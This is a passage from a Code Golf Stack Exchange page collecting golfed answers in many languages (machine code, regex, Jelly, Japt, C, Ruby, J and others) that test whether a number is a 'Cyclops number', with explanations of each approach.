F7 D2 0F AF C2 8D 44 78 02 C3 ``` The above bytes define a function that accepts a 32-bit integer input value (in the `EDI` register for this example, following a common System V calling convention, but you could actually pick pretty much any input register you wanted without affecting the size of the resulting code), and returns a result (in the `EAX` register) indicating whether the input value is a Cyclops number. The input is assumed to be an unsigned integer, since the challenge rules state that we can ignore negative values. The decision logic is borrowed from [Neil's answer](https://codegolf.stackexchange.com/a/181156): since a Cyclops number has the form \$ n = (2 ^ k + 1) (2 ^ { k - 1 } - 1) \$, we can use a series of bit-twiddling operations to check the input. *Note:* The return value is truthy/falsy, but the semantics are reversed, such that the function will return falsy for a Cyclops number. I claim this is legal because machine code doesn't have "specifications for truthy/falsy", which is the requirement in the question. (See below for an alternative version if you think this is cheating.) In assembly language mnemonics, this is: ``` ; EDI = input value ; EAX = output value (0 == Cyclops number) 8D 47 01 lea eax, [edi + 1] ; \ EAX = ((EDI + 1) ^ EDI) 31 F8 xor eax, edi ; / 89 C2 mov edx, eax ; \ EDX = ~EAX F7 D2 not edx ; / 0F AF C2 imul eax, edx ; EAX *= EDX 8D 44 78 02 lea eax, [eax + edi*2 + 2] ; EAX = (EAX + (EDI * 2) + 2) C3 ret ; return, with EAX == 0 for Cyclops number ``` **[Try it online!](https://tio.run/##jZLfa8IwEMff@1ccGUIqOmvH2M86RPfgyxh72oMgsY0alibSJOIY/uvr0tYWdZaal9K7zzf3vbuE3WUYpldMhNxEFJ6VjuZS8uvVwDkKMmlDqRGKLQWNYKJG3yGXa/Vm4jlNcJXYEG6o6/w4YE8VTagyXD/lwdmMqHg2w2iqOSXcRvq41aIRcztgv2Q7FSgHy2PBrUwyMMfqqVhuoKDINqeic5SQurzrXJrFhvN9ur7U3rmPD4pZZ35ND4@AAoIAF3NwAXptkEavjbajWTKlaQJMwevwE9q9E@EYAeBirJALmch0x8Lx5L8w6wBVASusFHZzc7s14PYXToRusaWEapOIanG7dCNZBKMVDb@KlQ9F9J4woT9youYBrDNigVGLTXUwgJayc@kcVsvpowjGp29r33sQgOfCC6CwyKKsR7tMKP9da33nOLYixIQJXJqoN@3tm60n@o3EbfMdzZf0/UbEv2tE7i/w4l1g5hLD/QfLHL4ULxt@@hsuOFmqtBvf@H8 "C (gcc) – Try It Online")** --- As promised, if you think it's cheating to invert the semantics of truthy/falsy even in machine code where there are no real standards or conventions, then add three more bytes, for a total of **21 bytes**: ``` ; EDI = input value ; AL = output value (1 == Cyclops number) 8D 47 01 lea eax, [edi + 1] ; \ EAX = ((EDI + 1) ^ EDI) 31 F8 xor eax, edi ; / 89 C2 mov edx, eax ; \ EDX = ~EAX F7 D2 not edx ; / 0F AF C2 imul eax, edx ; EAX *= EDX 8D 44 78 01 lea eax, [eax + edi*2 + 1] ; EAX = (EAX + (EDI * 2) + 1) 40 inc eax ; EAX += 1 0F 94 C0 setz al ; AL = ((EAX == 0) ? 1 : 0) C3 ret ; return, with AL == 1 for Cyclops number ``` The first half of this code is the same as the original (down through the `imul` instruction). The `lea` is almost the same, but instead of adding a constant 2, it only adds a constant 1. That's because the following `inc` instruction increments the value in the `EAX` register by 1 in order to set the flags. If the "zero" flag is set, the `setz` instruction will set `AL` to 1; otherwise, `AL` will be set to 0. This is the standard way that a C compiler will generate machine code to return a `bool`. Changing the constant added in the `lea` instruction obviously doesn't change the code size, and the `inc` instruction is very small (only 1 byte), but the `setz` instruction is a rather whopping 3 bytes. Unfortunately, I can't think of any shorter way of writing it. [Answer] # Regex (ECMAScript), ~~60~~ ~~58~~ ~~57~~ ~~60~~ 58 bytes The input \$n\$ is in unary, as the length of a string of `x`s. **SPOILER WARNING**: For the square root, this regex uses a variant of the generalized multiplication algorithm, which is non-obvious and could be a rewarding puzzle to work out on your own. For more information, see an explanation for this form of the algorithm in [Find a Rocco number](https://codegolf.stackexchange.com/questions/179239/find-a-rocco-number/179420#179420). *-2 bytes by allowing backtracking in the search for \$z\$* *-1 byte [thanks to Grimmy](https://chat.stackexchange.com/transcript/message/49371136#49371136), by searching for \$z\$ from smallest to largest instead of vice versa* *+3 bytes to handle zero* *-2 bytes by moving the square root capture outside the lookahead* This works by finding \$z\$, a perfect square power of 2 for which \$n=2(n-z)+\sqrt{z}+1\$. Only the largest perfect square power of 2 not exceeding \$n\$ can satisfy this, but due to a golf optimization, the regex tries all of them starting with the smallest. Since each one corresponds to a cyclops number, only the largest one can result in a match. ``` ^(x*)(?!(x(xx)+)\2*$)(x(x*))(?=(?=(\4*)\5+$)\4*$\6)x\1$|^$ ``` [Try it online!](https://tio.run/##TY89b8IwEIb/CkQR3CVNSBBlwDVMHVgY2rEpkgVH4tY4lm0g5eO3p8lQqdIN773PSafnS5yF21lpfOKM3JM91vqbflrLNV0Gb1S@NgbgypeTqN1CEyGshtBA02CMxTQKsV8i7GreTzGLsHiOQ@xCWMyxKfLwvg3baHLF1Nfv3kpdAqZOyR3B/CmZITLHM3appCIAxS2JvZKaAHHI9UkpvJVcpc4o6WGcjJHJA4DmZapIl77C5fR@l24jNiC5EdbRWnsoP7JPxD9A/4Fe5qt80WP0la0vwVqfhZL7gRW6pMUgiBU71BaYfOHEZBxj9zBogtSSIeFBYnoUfleBRby50ch0Sh56i5yZk3fedifs8WizJM@y7Bc "JavaScript (SpiderMonkey) – Try It Online") ``` ^ # N = tail (x*) # tail = Z, with the smallest value that satisfies the following # assertions (which is no different from the largest value that # would satisfy them, since no more than one value can do so); # \1 = N - Z (?!(x(xx)+)\2*$) # Assert Z is a power of 2 # Assert Z is a perfect square, and take its square root (x(x*)) # \4 = square root of Z; \5 = \4 - 1; tail = N - \1 - \4 (?=(\4*)\5+$) # iff \4*\4 == Z, then the first match here must result in \6==0 (?=\4*$\6) # test for divisibility by \4 and for \6==0 simultaneously # Assert that N == \1*2 + \4 + 1. If this fails, then due to a golf optimization, # the regex engine will backtrack into the capturing of \4, and try all smaller # values to see if they are the square root of Z; all of these smaller values will # fail, because the \4*\4==Z multiplication test only matches for one unique value # of \4. x\1$ |^$ # Match N==0, because the above algorithm does not ``` [Answer] # Japt, 8 bytes ``` 1¥¢q0 äè ``` [Run it online](https://ethproductions.github.io/japt/?v=1.4.6&code=MaWicTAg5Og=&input=MTE5) ## Explanation: ``` 1¥¢q0 äè 119 ¢ // Convert the input into a binary string "1110111" q0 // Split the string on "0" ["111","111"] ä // Reduce each item by: a b è // Seeing how many times a is found in b [1] 1¥ // == 1; See if the result equals 1 True ``` The idea is to split the binary string at `0`, which would yield two items if there is only one `0`. Then we see if the first item matches the second to ensure it is palindromic. If the binary string contains multiple `0`s, then the reduce would return a multi-item array and that would fail the `==1` condition. If the binary string does contain one `0`, but is not palindromic, `äè` will return `0` because `b` contains `0` matches of `a`. [Answer] # [JavaScript (Node.js)](https://nodejs.org), 20 bytes ``` p=>~p==(p^=p+1)*~p/2 ``` [Try it online!](https://tio.run/##FcdBCoAgEADA72hSaVfbnhKIaWyIu2h09OtWc5vLPa76gnyPmY7QI3SGrTGA4B1YGTk0npceqQgEbXE1@mdRKYlRRIFSesqVUpgSnV/7Cw "JavaScript (Node.js) – Try It Online") Maybe this is correct, maybe. Thanks Grimy, 1 byte saved. --- # [JavaScript (Node.js)](https://nodejs.org), 32 bytes ``` f=(p,q)=>p&1?f(p/2,q+q|2):!(p^q) ``` [Try it online!](https://tio.run/##VYm9CoMwGEX3PMXXpSaosRHsH8RODp36AqUY1GiLTaLGguC7Wwsd9Cz3Hs5LfESXtU9jfaXzYpokx8ZrCI/Nll0kNkHoNW4zhuS8webRkMkChxRdlektjHDr7XyQvwIx@DGCFHU3oOhvtu1tNSAWLmN4WMVjtIxsx5bGTgtL6VvYrMLBPXeDklCp20TMroDHkGnV6bqgtS6xokbkicrxnoALzgjOPBK7ihAyfQE "JavaScript (Node.js) – Try It Online") --- # [JavaScript (Node.js)](https://nodejs.org), 34 bytes ``` p=>/^(1*)0\1$/.test(p.toString(2)) ``` [Try it online!](https://tio.run/##VY89C4MwFEX3/Io3FEwqRiPYj0E3h04dukoxqFGLTYI@C4L/3VrooHe593Cm@5IfORR9a9HTpqwWFS82TvwnFUcWZOLgc6wGpJajeWDf6pqGjC0IMeTkpu2IMMN9xHUQbxci4JcZlOyGiUR/wn7EZiIi3MrwvJOXaCtFILYkrhvK@Vti0VA/K12/ZlyZPpUra4gTKIweTFfxztRUcyvLVJf0xMAFZwZnLUVdzdY3Xw "JavaScript (Node.js) – Try It Online") [Answer] # [Perl 6](https://github.com/nxadm/rakudo-pkg), 23 bytes ``` {.base(2)~~/^(1*)0$0$/} ``` [Try it online!](https://tio.run/##K0gtyjH7n1upoJamYKvwv1ovKbE4VcNIs65OP07DUEvTQMVARb/2vzVXWn6RgkZOZl5qsaZCNRdncWKlgn2ahnaufkyKtr4mV@1/QwUQqFFIS8wpruQyhfJKikpLMiq5DI2QJY3MUSQtTJElDQ0MkXmGlkhKAQ "Perl 6 – Try It Online") Regex based solution [Answer] # [Japt](https://github.com/ETHproductions/japt), ~~25~~ ~~19~~ ~~10~~ 9 bytes ``` ¢êÅ©1¶¢èT ``` *Thanks to @Shaggy for -1 byte* [Try it online!](https://tio.run/##y0osKPn//9Ciw6sOtx5aaXhoG5C5IuT/fyNzAA "Japt – Try It Online") [Answer] # Mathematica (Wolfram language), ~~32~~ 31 bytes *1 byte saved thanks to J42161217!* ``` OddQ@Log2[#+Floor@Sqrt[#/2]+2]& ``` [Try it online!](https://tio.run/##y00syUjNTSzJTE78n6Zg@98/JSXQwSc/3ShaWdstJz@/yCG4sKgkWlnfKFbbKFbtv0t@dEBRZl5JdJ6Crp1CWnRebKyOQnWejoKBjoKxQW3sfwA) Pure function taking an integer as input and returning `True` or `False`. Based on the fact (fun to prove!) that a number `n` is Cyclops if and only if `n` plus the square root of `n/2` plus `2` rounds down to an odd power of 2. (One can replace `Floor` by either `Ceiling` or `Round` as long as one also replaces `+2` by `+1`.) Returns `True` on input `0`. [Answer] # [Ruby](https://www.ruby-lang.org/), 24 bytes ``` ->x{x+x+2==(1+x^=x+1)*x} ``` [Try it online!](https://tio.run/##KypNqvyfZvtf166iukK7QtvI1lbDULsizrZC21BTq6L2f7ShjoKRjoKpjoIhkDIy11GwALENgMKGhpaxeqmJyRnVNXk1CgWlJcUK0Xk6CoqKadF5sbF6WfmZeRrqCuqatf8B "Ruby – Try It Online") [Answer] # Japt, 8 bytes ``` ¢ðT ¥¢Êz ``` Thanks to Luis felipe de Jesus Munoz for fixing my submission! [Try it Online!](https://web.archive.org/web/20190308155149/https://ethproductions.github.io/japt/?v=1.4.6&code=ovBUIKWiyno=&input=MjE=) # Old regex-based solution, 15 bytes ``` ¤f/^(1*)0\1$/ l ``` Returns 1 for true, 0 for false. [Try it Online!](https://web.archive.org/web/20190308025259/https://ethproductions.github.io/japt/?v=2.0a1&code=pGYvXigxKikwXDEkLyBs&input=Mw==) [Answer] # C (gcc), 26 bytes ``` f(n){n=~n==(n^=-~n)*~n/2;} ``` [Try it online!](https://tio.run/##JYrBCsJADETv@xVDQUispUU8CGv@RISyJSUHo5TeSvfX1y3Oad68Sd2cUilKzptLdhHyl3TZ@Zy9v8a9mK94j@bEYQuAfhbQsZkMEfa434YjtbYtVw@YgpSM/wR8l3pXak7T05sLjGPYyw8 "C (gcc) – Try It Online") Port of [Neil's answer](https://codegolf.stackexchange.com/a/181156/6484). Relies on implementation-defined ordering of operations. # C++ (clang), 38 bytes ``` int f(int n){return~n==(n^=-~n)*~n/2;} ``` [Try it online!](https://tio.run/##JU1BCsIwELznFUtFSKzVIh6ENL5EhJI0utBuQ0xPpfl6THQOwwyzO6Oda/TY0yslpACWFyax@iEsniIpxempmkjiEOl8kVvaIelxMQN0n2BwPr3vrPxMPRIXbGUAdvbw60HVSsDudm0LsqxrkXMAtMDzlPg7AOfzueXV3jyoOgIKybb0BQ "C++ (clang) – Try It Online") Can't omit the types in C++, can’t omit the return in clang, otherwise identical. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~8~~ 7 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) -1 thanks to Erik the Outgolfer (use isPalindrome built-in, `ŒḂ`, instead of `⁼Ṛ$`) ``` B¬ŒḂ⁼SƊ ``` A monadic Link accepting an integer which yields `1` (truthy) or `0` (falsey). **[Try it online!](https://tio.run/##y0rNyan8/9/p0JpHjXse7pylAqSCj3X9///f0NASAA "Jelly – Try It Online")** ### How? ``` B¬ŒḂ⁼SƊ - Link: integer e.g. 1 9 13 119 B - to base 2 [1] [1,0,0,1] [1,1,0,1] [1,1,1,0,1,1,1] ¬ - logical NOT (vectorises) [0] [0,1,1,0] [0,0,1,0] [0,0,0,1,0,0,0] Ɗ - last three links as a monad: ŒḂ - is a palindrome? 1 1 0 1 S - sum 0 2 1 1 ⁼ - equal? 0 0 0 1 ``` [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 8 bytes ``` ḃD↔Dḍ×ᵐ≠ ``` This is a predicate that succeeds if its input is a Cyclops number and fails if its input is not a Cyclops number. Success/failure is the most fundamental truthy/falsey concept in Brachylog. [Try it online!](https://tio.run/##ASMA3P9icmFjaHlsb2cy///huINE4oaUROG4jcOX4bWQ4omg//8yNw "Brachylog – Try It Online") Or, [find all truthy outputs up to 10000](https://tio.run/##ATkAxv9icmFjaHlsb2cy/zEwMDAw4p@me@KGsOKCguKIpz99y6L/4biDROKGlEThuI3Dl@G1kOKJoP///1g). ### Explanation ``` Input is an integer ḃ Get its binary representation, a list of 1's and 0's D Call that list D ↔ When reversed... D It's the same value D ḍ Dichotomize: break the list into two halves One of these halves should be all 1's; the other should contain the 0 ×ᵐ Get the product of each half ≠ Verify that the two products are not equal ``` This succeeds only when given a Cyclops number, because: * If the binary representation isn't a palindrome, `D↔D` will fail; in what follows, we can assume it's a palindrome. * If there is more than one zero, both halves will contain at least one zero. So the products will both be zero, and `×ᵐ≠` will fail. * If there is no zero, both halves will contain only ones. So the products will both be one, and `×ᵐ≠` will fail. * That leaves the case where there is exactly one zero; since we already know we have a palindrome, this must be the central bit. It will appear in one half, causing that half's product to be zero; the other half will contain all ones, so its product will be one. Then we have 1 ≠ 0, `×ᵐ≠` succeeds, and the whole predicate succeeds. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), 8 (or 9) [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` bD0¢sÂQ* ``` [Try it online](https://tio.run/##yy9OTMpM/f8/ycXg0KLiw02BWv//W5gCAA) or [verify all test cases](https://tio.run/##yy9OTMpM/V9Waa@k8KhtkoKSfeX/JINDC10Odxen22j91/kfbapjZK5jaGipY6hjaKRjYapjaGAYCwA). Returns `1` if truthy; `0` or any positive integer other than `1` as falsey. In 05AB1E only `1` is truthy and everything else is falsey, but I'm not sure if this is an allowed output, or if the output should be two consistent and unique values. If the second, a trailing `Θ` can be added so all outputs other than `1` become `0`: [Try it online](https://tio.run/##yy9OTMpM/f8/ycXg0KLiw02BWudm/P9vYQoA) or [verify all test cases](https://tio.run/##yy9OTMpM/V9Waa@k8KhtkoKSfeX/JBeDQ4uKDzcFap2b8V/nf7SpjpG5jqGhpY6hjqGRjoWpjqGBYSwA). **Explanation:** ``` b # Convert the (implicit) input-integer to a binary-string D # Duplicate it 0¢ # Count the amount of 0s s # Swap to get the binary again ÂQ # Check if it's a palindrome * # Multiply both (and output implicitly) Θ # Optionally: check if this is truthy (==1), # resulting in truthy (1) or falsey (0) ``` --- An arithmetic approach would be **10 bytes:** ``` LoD<s·>*Iå ``` [Try it online](https://tio.run/##yy9OTMpM/f/fJ9/FpvjQdjstz8NL//@3MAUA) or [verify all test cases](https://tio.run/##yy9OTMpM/V9Waa@k8KhtkoKSfeV/n3wXm@JD2@20Kg8v/a/zP9pUx8hcx9DQUsdQx9BIx8JUx9DAMBYA). **Explanation:** Creates a sequences using the algorithm \$a(n) = (2^n-1)\*(2\*2^n+1)\$, and then checks if the input-integer is in this sequence. ``` L # Create a list in the range [1, (implicit) input-integer] o # For each integer in the list, take 2 to the power this integer D< # Create a copy, and decrease each value by 1 s· # Get the copied list again, and double each value > # Then increase each value by 1 * # Multiply the numbers at the same indices in both lists Iå # Check if the input-integer is in this list # (and output the result implicitly) ``` [Answer] # [Haskell](https://www.haskell.org/), 32 bytes ``` f n=or[2*4^k-2^k-1==n|k<-[0..n]] ``` [Try it online!](https://tio.run/##DcZBCoAgEADAr@yhU2zhLkUF@RIx6KAk2hbmsb9bh4E59ie6lGr1IPrKhtthix3/SGt549oZ1fdibT33IKDhzkEKNOBDKi6DB6OQkHFEYuQJ5z@KkGix9QM "Haskell – Try It Online") [Answer] # Regex (ECMAScript), ~~53~~ 47 bytes -6 bytes thanks to both Deadcode and Grimy ``` ^((?=(x*?)(\2((x+)x(?=\5$))+x$))(?!\2{6})\3x)*$ ``` [Try it online!](https://tio.run/##Tc09T8MwFIXhv9JGlXpvQty00A4NbiaGLh1gJCBZya1jcO3INm3ox28PYUBiOcP7DOdDHIWvnGpD6ltVkztY80nfveOGTqNnkk9dC3Dmm1ncvwMUHLq4QCgXAF2C3RDK5QQx6YaBYlwuLqsblvcdxpM@np2RBfsSnDISkHmtKoLVXfqAmJ8apQlAc0ei1soQII65@dIaL5Jr5lutAkzTKeZqD2C4ZJqMDA1uFter8juxA8Vb4TxtTQD5mr0h/gH9B7OZF/P1L2NonD1FW3MUWtUjJ4yk9ShKdL63DnL1yClXSYLDYdRFzFFLIoBCdhChasAhVtZ4q4lpK4ee3/osXWbZDw "JavaScript (SpiderMonkey) – Try It Online") *explanation by [Deadcode](https://codegolf.stackexchange.com/users/17216/deadcode)* This regex takes its input in unary, as a sequence of `x` characters in which the length represents the number. Properties of its binary representation are handled indirectly, by doing math on its unary representation. It works by looping the following operation, which is a subtraction at every step: * Trim the leftmost and rightmost `1` from the number's binary representation, if the `1` being trimmed from the left is immediately followed by another `1` or the full number is `101` If and only if the initial input was a cyclops number, it will be the next smallest cyclops number at every step of the loop, e.g. `1110111` → `11011` → `101` → `0`. The regex matches if and only if the value is `0` at the end. ``` ^ # tail = N, the input number ( # While tail is odd and is >= 3, and has a leftmost "11" # in its binary representation, trim off the leftmost and # rightmost 1 from its binary representation. If it is a # cyclops number, it will be the next smaller cyclops # number on the next iteration. (?= (x*?) # Find the smallest \2 such that tail - 2*\2 satisfies the # following assertion, i.e. that tail - 2*\2 = 2^k-1 # where k >= 2. In other words, assert tail is odd, and # let \2 = (tail - 2^k + 1) / 2, where 2^k-1 has the # largest value of k such that 2^k-1 <= tail. If tail is # a cyclops number, then \2-1 will be the next smallest # cyclops number; # tail -= \2 ( # \3 = tool to make tail-1 = \2-1 (will be used later) \2 # tail -= \2 ((x+)x(?=\5$))+x$ # Assert tail = 2^k-1 where k >= 2 ) ) (?!\2{6}) # Assert that tail < 6*\2, which is a way of asserting # that in tail's binary representation, the next 1 to the # right of the one we'll be trimming is also 1. This # prevents for example, trimming 10110111 -> 11011, which # would give us a false positive. As a worst case example, # let's say tail = 0b101111111111111111111111111111111111 # this would give us: # \2 = 0b001000000000000000000000000000000000 # 6*\2 = 0b110000000000000000000000000000000000 # So it's not quite exactly asserting that tail begins # with "11" in its binary representation, and would # continue looping in that case, but that doesn't matter # because that number could never be trimmed into a # cyclops number anyway. With any smaller value of tail # that passes the other tests, we'd have: # tail = 0b101111111111111111111111111111111101 # \2 = 0b000111111111111111111111111111111111 # 6*\2 = 0b101111111111111111111111111111111010 # and in this case tail >= 6*\2, so it stops the loop. # On the other end of the scale is 0b101, which needs to # be trimmed even though it doesn't have two leftmost 1 # bits in a row. And indeed, that works: # tail = 0b101 # \2 = 0b001 # 6*\2 = 0b110 # In this case, it is just barely true that tail < 6*\2 # and the loop is allowed to continue one more step. \3x # tail = \2-1 )* $ # Assert that tail = 0 after the loop finished. This will # be true iff N is a cyclops number. If it fails to match, # backtracking cannot make it match, because everything in # the loop is atomic. ``` [Answer] ## Batch, ~~39~~ 37 bytes ``` @cmd/cset/a"m=%1^-~%1,!(m/2*(m+2)-%1) ``` Explanation: A Cyclops number has the form \$ n = (2 ^ k + 1) (2 ^ { k - 1 } - 1) \$. The bitwise XOR then results in \$ m = 2 ^ k - 1 \$ from which we can recalculate \$ n = \lfloor \frac m 2 \rfloor ( m + 2 ) \$. This can then be used to test whether \$ n \$ was a Cyclops number. [Answer] # [Ruby](https://www.ruby-lang.org/), ~~27~~ 24 bytes Convert to binary and check with a regex. Returns `0` if true, `nil` if false. -3 bytes thanks to [GB](https://codegolf.stackexchange.com/users/18535/g-b). ``` ->n{"%b"%n=~/^(1*)0\1$/} ``` [Try it online!](https://tio.run/##KypNqvyfZhvzX9cur1pJNUlJNc@2Tj9Ow1BL0yDGUEW/9n@0oY6CkY6CqY6CIZAyMtdRsACxDYDChoaWsXqpickZ1TV5NQoFpSXFCtF5OgqKimnRebGxeln5mXka6grqmrX/AQ "Ruby – Try It Online") For two bytes more, there's a direct port of the Python solution: ``` ->n{(2*n^2*n+3)**2==8*n+9} ``` [Answer] ## Excel, ~~97~~ 63 Bytes ``` =A1=2*4^(ROUND(LOG(A1,4),0))-2^(ROUND(LOG(A1,4),0))-1 ``` Calculates 2 numbers: > > Twice the nearest Power of 4 > > `>Num|Binary|2*Power4|Binary` > > `> 1| 1| 2* 1= 2| 10` > > `> 2| 10| 2* 4= 8| 1000` > > `> 4| 100| 2* 4= 8| 1000` > > `> 20| 10100| 2*16=32|100000` > > >   > > 1 Plus the square root of the nearest Power of 4 > > `>Num|Binary|1+√Power4|Binary` > > `> 1| 1|1+ √1= 2| 10` > > `> 2| 10|1+ √4= 3| 11` > > `> 4| 100|1+ √4= 3| 11` > > `> 20| 10100|1+ √16= 5| 101` > > > Then subtract the second number from the first: > > `>Num|Binary|2*Power4|Binary|1+√Power4|Binary|a-b|Binary` > > `> 1| 1| 2* 1= 2| 10|1+ √1= 2| 10| 0| 0` > > `> 2| 10| 2* 4= 8| 1000|1+ √4= 3| 11| 5| 101` > > `> 4| 100| 2* 4= 8| 1000|1+ √4= 3| 11| 5| 101` > > `> 20| 10100| 2*16=32|100000|1+ √16= 5| 101| 27| 11011` > > > And compare this result with the original number **Old Method** ``` =DEC2BIN(A1)=REPLACE(REPT("1",1+2*INT(IFERROR(LOG(A1,2),0)/2)),1+IFERROR(LOG(A1,2),0)/2,1,"0") ``` Start with the Log-base-2 of A1 and round it down the nearest even number, then add 1. Next create a string of that many `"1"`s, and replace the middle character with a `"0"` to create a Cyclops number with a binary length that is always odd, and the same as or 1 less than the binary length of A1 Then, compare it with the Binary representation of A1 [Answer] # [R](https://www.r-project.org/), ~~37~~ 33 bytes ``` (x=scan())%in%(2*4^(n=0:x)-2^n-1) ``` [Try it online!](https://tio.run/##K/r/X6PCtjg5MU9DU1M1M09Vw0jLJE4jz9bAqkJT1yguT9dQ87@hoeV/AA "R – Try It Online") R doesn't have a built-in for converting to binary, so I simply used one of the formulae from OEIS to calculate a list of terms from the sequence. `n<-0:x` generates a generous list of starting values. `2*4^(n<-0:x^2)-2^n-1)` is the formula from OEIS, and then it checks whether the input appears in that sequence using `%in%`. -2 bytes by not having to handle negative inputs. -2 bytes by remembering I can change `<-` to `=`. [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~29 28~~ 27 bytes *Saved 1 byte thanks to @ceilingcat* A port of the [21-byte JS answer by @tsh](https://codegolf.stackexchange.com/a/181134/58563). ``` f(p){p=2*~p==~(p=-~p^p)*p;} ``` [Try it online!](https://tio.run/##JcpBCsIwEEbhfU/xUxBmWgMiiIuYm4hQolMCOg5VcFGSoxsD7h58L7o5xlqFjFcL@6FYCIUsuGIX48F8ro8pKTHWDpDnQknf0LDzUJxwuB1bjOOfgSQkpMywpX1C/eZ61n4LZd88d7l@o9yn@VXd5wc "C (gcc) – Try It Online") [Answer] # [J](http://jsoftware.com/), ~~22~~ ~~19~~ ~~17~~ ~~15~~ 14 bytes -3 bytes thanks to BolceBussiere ! -4 bytes thanks to ngn! -1 byte thanks to Traws! # [J](http://jsoftware.com/), 14 bytes ``` 1=1#.(*:|.)@#: ``` [Try it online!](https://tio.run/##y/qvpKeepmBrpaCuoKNgoGAFxLp6Cs5BPm7/DW0NlfU0tKxq9DQdlK3@a3IpcKUmZ@QrpCkYwhimcBEjGMvIHMayQMgawHUYGlr@BwA "J – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 9 bytes ``` BŒḂaB¬S=1 ``` [Try it online!](https://tio.run/##y0rNyan8/9/p6KSHO5oSnQ6tCbY1/P@ocYfCo4Y5unaPGuYqADmH24HkdpAQUIDrcPujpjX//0cb6pjqGBrpGJnrWAAZBoY6hoaWsQA "Jelly – Try It Online") [Answer] # [Attache](https://github.com/ConorOBrien-Foxx/Attache), 22 bytes ``` {Flip@_=_∧1=0~_}@Bin ``` [Try it online!](https://tio.run/##SywpSUzOSP2fpmBlq/C/2i0ns8Ah3jb@UcdyQ1uDuvhaB6fMvP9@qakpxdEqBQXJ6bFcAUWZeSUhqcUlzonFqcXRaToK0QY6CoY6CqZAEkgZGukoGJnrKFiA@AYgAUPL2Nj/AA "Attache – Try It Online") ## Alternatives **27 bytes:** `{BitXor[2*_,2*_+3]^2=8*_+9}` **27 bytes:** `{BitXor@@(2*_+0'3)^2=8*_+9}` **27 bytes:** `{Palindromic@_∧1=0~_}@Bin` **28 bytes:** `{BitXor[...2*_+0'3]^2=8*_+9}` **28 bytes:** `{BitXor[…2*_+0'3]^2=8*_+9}` **28 bytes:** `{Same@@Bisect@_∧1=0~_}@Bin` **29 bytes:** `{_[#_/2|Floor]=0∧1=0~_}@Bin` **30 bytes:** `Same@Bin@{_+2^Floor[Log2@_/2]}` **30 bytes:** `{_[#_/2|Floor]=0and 1=0~_}@Bin` [Answer] # [Retina 0.8.2](https://github.com/m-ender/retina/wiki/The-Language/a950ad7d925ec9316e3e2fb2cf5d49fd15d23e3d), ~~38~~ 37 bytes ``` .+ $* +`^(1+)\1 $+0 10 1 ^((1+)0\2)?$ ``` [Try it online!](https://tio.run/##K0otycxL/K@q4Z7wX0@bS0WLSzshTsNQWzPGkEtF24DLEIi44jRAIgYxRpr2Kv//g0RMuQwNuQyNuIzMuSyAbAMgByRgaAkA "Retina 0.8.2 – Try It Online") Link includes test cases. Edit: After clarification, previous solution didn't handle zero correctly. Explanation: ``` .+ $* ``` Convert from decimal to unary. ``` +`^(1+)\1 $+0 10 1 ``` Convert from unary to binary, using the method from the Retina wiki. ``` ^((1+)0\2)?$ ``` Check for the same number of `1`s before and after the `0`, or an empty string (which is how the above conversion handles zero). [Answer] # [PHP](https://php.net/), 74 bytes ``` function($x){return($c=strlen($a=decbin($x)))&1&&trim($a,1)===$a[$c/2|0];} ``` [Try it online!](https://tio.run/##XVBda4MwFH02v@JSgjYgzEid7VzWp409DOZ7V0qaRRRclSTCoOtvd0lrO12ezj1fl5u2bPvHdVu2gAUw6IvuIEzVHOb4mxyVNJ2yUDBtVC0t4uxTin11lgnxqe8bVX1ZPqSEMYb5Bou7@CfaZqc@QwgbqY22vRvkRcCewKhOhsijDhe81m5IxsJEofFoguHR1dgSp6P0Mpmko2nZv@5Lz3VvtLqnl65b8x81mGK6SBdJtExvSbS1RxaNklyUcxiu5doi58AKCByRJ0XZWCqE2YeZhZZ2P42FCwA5s9Z8FZiLrSHIudYBPEDwwqs6CCF/zXfP728ZOvW/ "PHP – Try It Online") Or **61 bytes** using Arrow syntax: ``` fn($x)=>($c=strlen($a=decbin($x)))&1&trim($a,1)===$a[$c/2|0]; ``` [Try it online!](https://tio.run/##XVBPS8MwFD83n@IxwtpAwKSsdrNmOykeBHufQ2JMaKG60kQQ1M9ek63bWnN6v7@Pl7Zq@9tNW7WAjejNR4K/iFgnWAnrukZ7LMWbVq/1QSFkzueuq989TTkRQmC5xeoq/WG7oi8Qwk5bZ0HAFkUMxBpc96kpiniYjWxsANlYmCg8HSEYHl@NLWk@Si@zSZpNy/51H3tOe9nqmh@7zs0XajClfJEvMrbMz0m080eafaelqhIYrpXWT8GBOyDwjSKtqr2nKMye3Yx6WvkfwSYEgBxYbz4JIsQ2EJfS2hhuIL6XdRNTKB/Kl7unxwL99n8 "PHP – Try It Online") Totally naïve non-mathematical approach, just strings. ``` function cyclops( $x ) { $b = decbin( $x ); // convert to binary string (non-zero left padded) $l = strlen( $b ); // length of binary string $t = trim( $b, 1 ); // remove all 1's on either side $m = $b[ $l / 2 |0 ]; // get the middle "bit" of the binary string return $l & 1 && // is binary string an odd length? $t === $m; // is the middle char of the binary string the same as // string with left and right 1's removed? (can only be '0') } ``` Or **60 bytes** based on @Chronocidal's algorithm [above](https://codegolf.stackexchange.com/questions/181128/is-it-a-cyclops-number-nobody-knows/181173#181173). ``` function($x){return decbin($x)==str_pad(0,log($x,2)|1,1,2);} ``` [Try it online!](https://tio.run/##XZBRa4MwFIWfza@4lIAKeTBSZzvr@rSxh8F8X0fJ0lgF0ZBEGHT97S5pbafLS@4995wv3MhKDputrCRgDjkMZd9yU3dtgL/DkxKmVy0cBP@qL0qea6P2kh2CiDTd0UokDn8oofbKzkOGEDZCG21JH8iLIH8Co3pBkEddXbJGuyaZDmYTGk86GA9dTy1xOkmvklk6msP@sa@c27vR@oFeWXfynzSaYrpMl0m0Su9J9GmXLDslGK8CGLdl2lbOgRWEcEKe4FVnJQKLnVkQK7u/xdwFILyo1nwb5C62Bb9gWvvwCP4LqxufQPFa7J/f3zJ0Hn4B "PHP – Try It Online") [Answer] # [Pyt](https://github.com/mudkip201/pyt), 17 bytes ``` ĐļƖĐ⁺2⇹^⇹ᵮ₂2⇹^-⁻= ``` [Try it online!](https://tio.run/##K6gs@f//yIQje45NOzLhUeMuo0ftO@OA@OHWdY@amsA83UeNu23//zcyBwA "Pyt 